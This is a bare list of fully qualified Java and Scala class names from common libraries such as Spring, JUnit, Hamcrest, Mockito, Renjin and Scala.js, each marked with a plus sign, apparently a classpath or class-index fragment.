+org.h2.Driver +org.hamcrest.BaseDescription +org.hamcrest.core.deprecated.HamcrestCoreIsDeprecated +org.hamcrest.library.deprecated.HamcrestLibraryIsDeprecated +org.joda.time.base.BaseSingleFieldPeriod +org.json.CDL +org.junit.jupiter.api.AfterAll +org.junit.jupiter.engine.Constants +org.mockito.Answers +org.osgi.application.ApplicationContext +org.osgi.dto.DTO +org.powermock.modules.junit4.PowerMockRunnerDelegate +org.renjin.graphics.graphics +org.renjin.grDevices.Colors +org.renjin.grid.grid +org.renjin.methods.Table.RData +org.renjin.splines.splines +org.renjin.stats.nls.NlsModel +org.renjin.tools.Md5 +org.renjin.utils.WriteTable +org.scalacheck.Arbitrary +org.scalatest.AbstractSuite +org.slf4j.event.DefaultLoggingEvent +org.slf4j.simple.OutputChoice +org.springframework.beans.TypeMismatchException +org.springframework.boot.autoconfigure.mongo.MongoClientFactory +org.springframework.boot.configurationprocessor.fieldvalues.javac.Tree +org.springframework.core.ReactiveTypeDescriptor +org.springframework.http.StreamingHttpOutputMessage +org.springframework.instrumentloading.ResourceOverridingShadowingClassLoader +org.springframework.jdbc.config.EmbeddedDatabaseBeanDefinitionParser +org.springframework.test.annotation.ProfileValueSource +org.springframework.web.servlet.HandlerExecutionChain +org.testng.annotations.AfterClass +sbt.testing.TestWildcardSelector +scala.AnyVal +scala.scalajs.js.Any